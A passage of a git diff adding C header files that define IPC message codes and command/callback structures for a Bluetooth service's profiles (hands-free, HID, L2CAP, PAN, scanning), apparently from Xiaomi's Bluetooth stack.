+ struct { + bt_address_t addr; + uint8_t state; /* hfp_audio_state_t */ + } _on_audio_state_changed; + + struct { + bt_address_t addr; + uint8_t started; /* boolean */ + } _on_voice_recognition_state_changed; + + struct { + bt_address_t addr; + uint8_t value; + } _on_battery_level_changed; + + struct { + bt_address_t addr; + uint8_t type; /* hfp_volume_type_t */ + uint8_t volume; + } _on_volume_control; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char number[HFP_PHONENUM_DIGITS_MAX + 1]; + } _on_dial_call; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char cmd[HFP_AT_LEN_MAX + 1]; + } _on_at_cmd_received; + + struct { + bt_address_t addr; + uint16_t company_id; + char command[HFP_COMPANY_PREFIX_LEN_MAX + 1]; + uint8_t pad1[(HFP_COMPANY_PREFIX_LEN_MAX + 1 + 3) / 4 * 4 - (HFP_COMPANY_PREFIX_LEN_MAX + 1)]; + char value[HFP_AT_LEN_MAX + 1]; + } _on_vend_spec_at_cmd_received; + + struct { + bt_address_t addr; + } _on_clcc_cmd_received; + } bt_message_hfp_ag_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_HFP_AG_H__ */ diff --git a/service/ipc/socket/include/bt_message_hfp_hf.h b/service/ipc/socket/include/bt_message_hfp_hf.h new file mode 100644 index 0000000000000000000000000000000000000000..bcf20cd4be88f14849444be9920aa1d0e0c2e5d1 --- /dev/null +++ b/service/ipc/socket/include/bt_message_hfp_hf.h @@ -0,0 +1,244 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_HFP_HF_MESSAGE_START, + BT_HFP_HF_REGISTER_CALLBACK, + BT_HFP_HF_UNREGISTER_CALLBACK, + BT_HFP_HF_IS_CONNECTED, + BT_HFP_HF_IS_AUDIO_CONNECTED, + BT_HFP_HF_GET_CONNECTION_STATE, + BT_HFP_HF_CONNECT, + BT_HFP_HF_SET_CONNECTION_POLICY, + BT_HFP_HF_DISCONNECT, + BT_HFP_HF_CONNECT_AUDIO, + BT_HFP_HF_DISCONNECT_AUDIO, + BT_HFP_HF_START_VOICE_RECOGNITION, + BT_HFP_HF_STOP_VOICE_RECOGNITION, + BT_HFP_HF_DIAL, + BT_HFP_HF_DIAL_MEMORY, + BT_HFP_HF_REDIAL, + BT_HFP_HF_ACCEPT_CALL, + BT_HFP_HF_REJECT_CALL, + BT_HFP_HF_HOLD_CALL, + BT_HFP_HF_TERMINATE_CALL, + BT_HFP_HF_CONTROL_CALL, + BT_HFP_HF_QUERY_CURRENT_CALLS, + BT_HFP_HF_SEND_AT_CMD, + BT_HFP_HF_UPDATE_BATTERY_LEVEL, + BT_HFP_HF_VOLUME_CONTROL, + BT_HFP_HF_SEND_DTMF, + BT_HFP_HF_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_HFP_HF_CALLBACK_START, + BT_HFP_HF_ON_CONNECTION_STATE_CHANGED, + BT_HFP_HF_ON_AUDIO_STATE_CHANGED, + BT_HFP_HF_ON_VOICE_RECOGNITION_STATE_CHANGED, + BT_HFP_HF_ON_CALL_STATE_CHANGED, + BT_HFP_HF_ON_AT_CMD_COMPLETE, + BT_HFP_HF_ON_RING_INDICATION, + BT_HFP_HF_ON_VOLUME_CHANGED, + BT_HFP_HF_ON_CALL_IND_RECEIVED, + BT_HFP_HF_ON_CALLSETUP_IND_RECEIVED, + BT_HFP_HF_ON_CALLHELD_IND_RECEIVED, + BT_HFP_HF_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_HFP_HF_H__ +#define _BT_MESSAGE_HFP_HF_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_hfp_hf.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_HFP_HF_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_HFP_HF, 0) +// TODO: Add new BT IPC Code sequentially +#define HFP_HF_SUBCODE_GET_SUBSCRIBER_NUMBER 1 +#define BT_HFP_HF_GET_SUBSCRIBER_NUMBER BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_HFP_HF, HFP_HF_SUBCODE_GET_SUBSCRIBER_NUMBER) +#define HFP_HF_SUBCODE_QUERY_CURRENT_CALLS_WITH_CALLBACK 2 +#define BT_HFP_HF_QUERY_CURRENT_CALLS_WITH_CALLBACK BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_HFP_HF, HFP_HF_SUBCODE_QUERY_CURRENT_CALLS_WITH_CALLBACK) +#define BT_IPC_CODE_COMMAND_HFP_HF_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_HFP_HF, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_HFP_HF_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HFP_HF, 0) +// TODO: Add new BT IPC Code sequentially +#define HFP_HF_SUBCODE_ON_CLIP_RECEIVED 1 +#define BT_HFP_HF_ON_CLIP_RECEIVED BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HFP_HF, HFP_HF_SUBCODE_ON_CLIP_RECEIVED) +#define HFP_HF_SUBCODE_ON_SUBSCRIBER_NUMBER_RECEIVED 2 +#define BT_HFP_HF_ON_SUBSCRIBER_NUMBER_RECEIVED BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HFP_HF, HFP_HF_SUBCODE_ON_SUBSCRIBER_NUMBER_RECEIVED) +#define HFP_HF_SUBCODE_ON_CURRENT_CALLS_FINISHED 3 +#define BT_HFP_HF_ON_CURRENT_CALLS BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HFP_HF, HFP_HF_SUBCODE_ON_CURRENT_CALLS_FINISHED) +#define BT_IPC_CODE_CALLBACK_HFP_HF_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HFP_HF, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t profile_conn_state; /* profile_connection_state_t */ + uint8_t value_bool; /* boolean */ + } bt_hfp_hf_result_t; + + typedef union { + struct { + bt_address_t addr; + } _bt_hfp_hf_is_connected, + _bt_hfp_hf_is_audio_connected, + _bt_hfp_hf_get_connection_state, + _bt_hfp_hf_connect, + _bt_hfp_hf_disconnect, + _bt_hfp_hf_connect_audio, + _bt_hfp_hf_disconnect_audio, + _bt_hfp_hf_start_voice_recognition, + _bt_hfp_hf_stop_voice_recognition, + _bt_hfp_hf_redial, + _bt_hfp_hf_reject_call, + _bt_hfp_hf_hold_call, + _bt_hfp_hf_terminate_call, + _bt_hfp_hf_get_subscriber_number, + _bt_hfp_hf_query_current_calls_with_callback; + + struct { + bt_address_t addr; + uint8_t policy; + } _bt_hfp_hf_set_connection_policy; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char number[HFP_PHONENUM_DIGITS_MAX + 1]; + } _bt_hfp_hf_dial; + + struct { + uint32_t memory; + bt_address_t addr; + } _bt_hfp_hf_dial_memory; + + struct { + bt_address_t addr; + uint8_t flag; /* hfp_call_accept_t */ + } _bt_hfp_hf_accept_call; + + struct { + bt_address_t addr; + uint8_t chld; /* hfp_call_control_t */ + uint8_t index; + } _bt_hfp_hf_control_call; + + struct { + bt_address_t addr; /* @param[in] */ + uint8_t pad[2]; + uint32_t num; /* @param[out] */ + hfp_current_call_t calls[HFP_CALL_LIST_MAX]; /* @param[out] */ + } _bt_hfp_hf_query_current_calls; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char cmd[HFP_AT_LEN_MAX + 1]; + } _bt_hfp_hf_send_at_cmd; + + struct { + bt_address_t addr; + uint8_t level; + } _bt_hfp_hf_update_battery_level; + + struct { + bt_address_t addr; + uint8_t type; /* hfp_volume_type_t */ + uint8_t volume; + } _bt_hfp_hf_volume_control; + + struct { + bt_address_t addr; + uint8_t dtmf; + } _bt_hfp_hf_send_dtmf; + } bt_message_hfp_hf_t; + + typedef union { + struct { + bt_address_t addr; + uint8_t state; /* profile_connection_state_t */ + } _on_connection_state_changed; + + struct { + bt_address_t addr; + uint8_t state; /* hfp_audio_state_t */ + } _on_audio_state_changed; + + struct { + bt_address_t addr; + uint8_t started; /* boolean */ + } _on_voice_recognition_state_changed; + + struct { + bt_address_t addr; + hfp_current_call_t call; + } _on_call_state_changed_cb; + + struct { + bt_address_t addr; + uint8_t num; + uint8_t pad; + hfp_current_call_t calls[HFP_CALL_LIST_MAX]; + } _on_current_calls_cb; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char resp[HFP_AT_LEN_MAX + 1]; + } _on_at_cmd_complete_cb; + + struct { + bt_address_t addr; + uint8_t inband_ring_tone; /* boolean */ + } _on_ring_indication_cb; + + struct { + bt_address_t addr; + uint8_t type; /* hfp_volume_type_t */ + uint8_t volume; + } _on_volume_changed_cb; + + struct { + bt_address_t addr; + uint16_t value; + } _on_call_cb, + _on_callsetup_cb, + _on_callheld_cb; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char number[HFP_PHONENUM_DIGITS_MAX]; + char name[HFP_NAME_DIGITS_MAX]; + } _on_clip_cb; + + struct { + bt_address_t addr; + uint8_t pad[2]; + char number[HFP_PHONENUM_DIGITS_MAX + 1]; + uint8_t service; /* hfp_subscriber_number_service_t */ + } _on_subscriber_number_cb; + } bt_message_hfp_hf_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_HFP_HF_H__ */ diff --git a/service/ipc/socket/include/bt_message_hid_device.h b/service/ipc/socket/include/bt_message_hid_device.h new file mode 100644 index 0000000000000000000000000000000000000000..c427d8c8d998c0fd5d989d694317bd9b07f19945 --- /dev/null +++ b/service/ipc/socket/include/bt_message_hid_device.h @@ -0,0 +1,154 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_HID_DEVICE_MESSAGE_START, + BT_HID_DEVICE_REGISTER_CALLBACK, + BT_HID_DEVICE_UNREGISTER_CALLBACK, + BT_HID_DEVICE_REGISTER_APP, + BT_HID_DEVICE_UNREGISTER_APP, + BT_HID_DEVICE_CONNECT, + BT_HID_DEVICE_DISCONNECT, + BT_HID_DEVICE_SEND_REPORT, + BT_HID_DEVICE_RESPONSE_REPORT, + BT_HID_DEVICE_REPORT_ERROR, + BT_HID_DEVICE_VIRTUAL_UNPLUG, + BT_HID_DEVICE_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_HID_DEVICE_CALLBACK_START, + BT_HID_DEVICE_APP_STATE, + BT_HID_DEVICE_CONNECTION_STATE, + BT_HID_DEVICE_ON_GET_REPORT, + BT_HID_DEVICE_ON_SET_REPORT, + BT_HID_DEVICE_ON_RECEIVE_REPORT, + BT_HID_DEVICE_ON_VIRTUAL_UNPLUG, + BT_HID_DEVICE_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_HID_DEVICE_H__ +#define _BT_MESSAGE_HID_DEVICE_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_hid_device.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_HID_DEV_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_HID_DEV, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_HID_DEV_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_HID_DEV, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_HID_DEV_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HID_DEV, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_HID_DEV_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_HID_DEV, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define MAX_BT_HID_DEVICE_REGISTER_APP_SDP 512 + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t value_bool; /* boolean */ + } bt_hid_device_result_t; + + typedef union { + struct { + uint8_t sdp[MAX_BT_HID_DEVICE_REGISTER_APP_SDP]; + uint8_t le_hid; /* boolean */ + } _bt_hid_device_register_app; + + struct { + bt_address_t addr; + } _bt_hid_device_connect; + + struct { + bt_address_t addr; + } _bt_hid_device_disconnect; + + struct { + bt_address_t addr; + uint8_t rpt_id; + uint8_t pad[1]; + uint32_t rpt_size; + uint8_t rpt_data[256]; + } _bt_hid_device_send_report; + + struct { + bt_address_t addr; + uint8_t rpt_type; + uint8_t padp[1]; + uint32_t rpt_size; + uint8_t rpt_data[256]; + } _bt_hid_device_response_report; + + struct { + bt_address_t addr; + uint8_t error; /* hid_status_error_t */ + } _bt_hid_device_report_error; + + struct { + bt_address_t addr; + } _bt_hid_device_virtual_unplug; + + } bt_message_hid_device_t; + + typedef union { + struct { + uint8_t state; /* hid_app_state_t */ + } _app_state; + + struct { + bt_address_t addr; + uint8_t le_hid; /* boolean */ + uint8_t state; /* profile_connection_state_t */ + } _connection_state; + + struct { + bt_address_t addr; + uint8_t rpt_type; + uint8_t rpt_id; + uint16_t buffer_size; + } _on_get_report; + + struct { + bt_address_t addr; + uint8_t rpt_type; + uint8_t pad[1]; + uint16_t rpt_size; + uint8_t rpt_data[256]; + } _on_set_report; + + struct { + bt_address_t addr; + uint8_t rpt_type; + uint8_t pad[1]; + uint16_t rpt_size; + uint8_t rpt_data[256]; + } _on_receive_report; + + struct { + bt_address_t addr; + } _on_virtual_unplug; + + } bt_message_hid_device_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_HID_DEVICE_H__ */ diff --git a/service/ipc/socket/include/bt_message_l2cap.h b/service/ipc/socket/include/bt_message_l2cap.h new file mode 100644 index 0000000000000000000000000000000000000000..d768dba8e343bc59297db2043ba1099bf2373bf2 --- /dev/null +++ b/service/ipc/socket/include/bt_message_l2cap.h @@ -0,0 +1,110 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_L2CAP_MESSAGE_START, + BT_L2CAP_REGISTER_CALLBACKS, + BT_L2CAP_UNREGISTER_CALLBACKS, + BT_L2CAP_LISTEN, + BT_L2CAP_CONNECT, + BT_L2CAP_DISCONNECT, + BT_L2CAP_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_L2CAP_CALLBACK_START, + BT_L2CAP_CONNECTED_CB, + BT_L2CAP_DISCONNECTED_CB, + BT_L2CAP_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_L2CAP_H__ +#define _BT_MESSAGE_L2CAP_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bt_ipc_code.h" +#include "bt_l2cap.h" + +#define BT_IPC_CODE_COMMAND_L2CAP_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_L2CAP, 0) +// TODO: Add new BT IPC Code sequentially +#define L2CAP_SUBCODE_STOP_LISTEN 1 +#define BT_L2CAP_STOP_LISTEN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_L2CAP, L2CAP_SUBCODE_STOP_LISTEN) + +#define BT_IPC_CODE_COMMAND_L2CAP_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_L2CAP, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_L2CAP_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_L2CAP, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_L2CAP_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_L2CAP, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t value_bool; /* boolean */ + } bt_l2cap_result_t; + + typedef union { + + struct { + l2cap_config_option_t option; + } _bt_l2cap_listen; + + struct { + bt_address_t addr; + l2cap_config_option_t option; + } _bt_l2cap_connect; + + struct { + uint16_t id; + } _bt_l2cap_disconnect; + + struct { + uint8_t transport; /* bt_transport_t */ + uint16_t psm; + } _bt_l2cap_stop_listen; + + } bt_message_l2cap_t; + + typedef union { + + struct { + bt_address_t addr; + uint8_t transport; /* bt_transport_t */ + uint8_t pad[1]; + uint16_t cid; + uint16_t psm; + uint16_t incoming_mtu; + uint16_t outgoing_mtu; + uint16_t id; + uint16_t listen_id; + char proxy_name[16]; + } _connected_cb; + + struct { + bt_address_t addr; + uint16_t id; + uint32_t reason; + } _disconnected_cb; + + } bt_message_l2cap_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_L2CAP_H__ */ diff --git a/service/ipc/socket/include/bt_message_log.h b/service/ipc/socket/include/bt_message_log.h new file mode 100644 index 0000000000000000000000000000000000000000..3a70df23c88f9ed056efc9d98d9bcfc13046327b --- /dev/null +++ b/service/ipc/socket/include/bt_message_log.h @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_LOG_MESSAGE_START, + BT_LOG_ENABLE, + BT_LOG_DISABLE, + BT_LOG_SET_FILTER, + BT_LOG_REMOVE_FILTER, + BT_LOG_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_LOG_CALLBACK_START, + BT_LOG_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_LOG_H__ +#define _BT_MESSAGE_LOG_H__ + +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_LOG_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_LOG, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_LOG_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_LOG, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_LOG_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_LOG, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_LOG_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_LOG, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + struct { + uint32_t filter_flag; + } _bt_log_set_flag, + _bt_log_remove_flag; +} bt_message_log_t; + +#endif /* _BT_MESSAGE_LOG_H__ */ diff --git a/service/ipc/socket/include/bt_message_manager.h b/service/ipc/socket/include/bt_message_manager.h new file mode 100644 index 0000000000000000000000000000000000000000..3ce6941f51503fa3dad0cb876f6688098942d697 --- /dev/null +++ b/service/ipc/socket/include/bt_message_manager.h @@ -0,0 +1,93 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_MANAGER_MESSAGE_START, + BT_MANAGER_CREATE_INSTANCE, + BT_MANAGER_DELETE_INSTANCE, + BT_MANAGER_GET_INSTANCE, + BT_MANAGER_START_SERVICE, + BT_MANAGER_STOP_SERVICE, + BT_MANAGER_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_MANAGER_CALLBACK_START, + BT_MANAGER_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_MANAGER_H__ +#define _BT_MESSAGE_MANAGER_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bluetooth.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_MANAGER_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_MANAGER, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_MANAGER_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_MANAGER, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_MANAGER_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_MANAGER, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_MANAGER_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_MANAGER, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t pad[3]; + uint32_t v32; + uint64_t v64; + } bt_manager_result_t; + + typedef union { + struct { + pid_t pid; + uint32_t handle; + uint32_t type; + char cpu_name[64]; + } _bluetooth_create_instance; + + struct { + pid_t pid; + char cpu_name[64]; + } _bluetooth_get_instance; + + struct { + uint32_t v32; + } _bluetooth_delete_instance; + + struct { + uint8_t id; /* enum profile_id */ + uint8_t pad[3]; + uint32_t appid; + } _bluetooth_start_service, + _bluetooth_stop_service; + + } bt_message_manager_t; + + typedef struct + { + + } bt_message_manager_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_MANAGER_H__ */ diff --git a/service/ipc/socket/include/bt_message_pan.h b/service/ipc/socket/include/bt_message_pan.h new file mode 100644 index 0000000000000000000000000000000000000000..187975dec2433b28c2b45847d73c3a76a8c04aba --- /dev/null +++ b/service/ipc/socket/include/bt_message_pan.h @@ -0,0 +1,92 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_PAN_MESSAGE_START, + BT_PAN_REGISTER_CALLBACKS, + BT_PAN_UNREGISTER_CALLBACKS, + BT_PAN_CONNECT, + BT_PAN_DISCONNECT, + BT_PAN_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_PAN_CALLBACK_START, + BT_PAN_NETIF_STATE_CB, + BT_PAN_CONNECTION_STATE_CB, + BT_PAN_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_PAN_H__ +#define _BT_MESSAGE_PAN_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bluetooth.h" +#include "bt_pan.h" +#include "bt_ipc_code.h" + +#define BT_IPC_CODE_COMMAND_PAN_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_PANU, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_PAN_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_PANU, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_PAN_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_PANU, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_CALLBACK_PAN_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_PANU, BT_IPC_CODE_SUBCODE_MAX_NUM) + + typedef union { + uint8_t status; /* bt_status_t */ + uint8_t pad[3]; + uint32_t v32; + } bt_pan_result_t; + + typedef union { + struct { + bt_address_t addr; + uint8_t dst_role; + uint8_t src_role; + } _bt_pan_connect; + + struct { + bt_address_t addr; + } _bt_pan_disconnect; + + } bt_message_pan_t; + + typedef struct + { + struct { + char ifname[64]; + uint8_t state; /* pan_netif_state_t */ + uint8_t local_role; + } _netif_state_cb; + + struct { + bt_address_t bd_addr; + uint8_t state; /* profile_connection_state_t */ + uint8_t local_role; + uint8_t remote_role; + } _connection_state_cb; + } bt_message_pan_callbacks_t; + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_MESSAGE_PAN_H__ */ diff --git a/service/ipc/socket/include/bt_message_scan.h b/service/ipc/socket/include/bt_message_scan.h new file mode 100644 index 0000000000000000000000000000000000000000..f60694221c7ae27aa6af3549c58a941fa19d8f83 --- /dev/null +++ b/service/ipc/socket/include/bt_message_scan.h @@ -0,0 +1,128 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifdef __BT_MESSAGE_CODE__ +BT_SCAN_MESSAGE_START, + BT_LE_SCAN_START, + BT_LE_SCAN_START_SETTINGS, + BT_LE_SCAN_START_WITH_FILTERS, + BT_LE_SCAN_STOP, + BT_LE_SCAN_IS_SUPPORT, + BT_SCAN_MESSAGE_END, +#endif + +#ifdef __BT_CALLBACK_CODE__ + BT_SCAN_CALLBACK_START, + BT_LE_ON_SCAN_RESULT, + BT_LE_ON_SCAN_START_STATUS, + BT_LE_ON_SCAN_STOPPED, + BT_SCAN_CALLBACK_END, +#endif + +#ifndef _BT_MESSAGE_SCAN_H__ +#define _BT_MESSAGE_SCAN_H__ + +#ifdef __cplusplus + extern "C" +{ +#endif + +#include "bluetooth.h" +#include "bt_le_scan.h" +#include "bt_ipc_code.h" + + enum { + BLE_SCAN_SUBCODE_START = 0, + BLE_SCAN_SUBCODE_BATCH_SCAN_CALLBACK = 1, + BLE_SCAN_SUBCODE_END = BT_IPC_CODE_SUBCODE_MAX_NUM, + }; + +#define BT_IPC_CODE_COMMAND_BLE_SCAN_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_BLE_SCAN, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_IPC_CODE_COMMAND_BLE_SCAN_END BT_IPC_CODE(BT_IPC_CODE_TYPE_COMMAND, BT_IPC_CODE_GROUP_BLE_SCAN, BT_IPC_CODE_SUBCODE_MAX_NUM) + +#define BT_IPC_CODE_CALLBACK_BLE_SCAN_BEGIN BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_BLE_SCAN, 0) +// TODO: Add new BT IPC Code sequentially +#define BT_LE_ON_BATCH_SCAN_RESULT BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, BT_IPC_CODE_GROUP_BLE_SCAN, BLE_SCAN_SUBCODE_BATCH_SCAN_CALLBACK) +#define BT_IPC_CODE_CALLBACK_BLE_SCAN_END BT_IPC_CODE(BT_IPC_CODE_TYPE_CALLBACK, 